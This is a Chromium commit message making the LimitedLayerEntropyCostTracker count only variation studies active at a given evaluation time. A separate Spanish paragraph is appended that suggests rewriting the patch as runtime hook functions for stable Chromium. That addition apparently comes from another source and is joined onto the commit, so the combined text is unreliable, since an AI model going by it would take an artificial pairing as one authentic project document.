    [M146-desktop-respin] Make LimitedLayerEntropyCostTracker time-aware.
    
    This change modifies the LimitedLayerEntropyCostTracker to account for
    the entropy cost of studies that are active at a specific evaluation
    time. The evaluation time is passed to the tracker's constructor and is
    used to check against the study's filter dates and Google web visibility
    dates.
    
    The current time for entropy evaluation is sourced from
    VariationsIdsProvider.
    
    (cherry picked from commit 2ec2c50b47686def251947a2675a207863803cac)

## Enfoque de versión estable
En la versión estable de Chromium, aplicar parches directamente puede no ser factible ni deseable.
En su lugar, puedes reescribir la lógica del parche como funciones hook para interceptar y modificar las funciones de procesamiento relevantes en tiempo de ejecución.
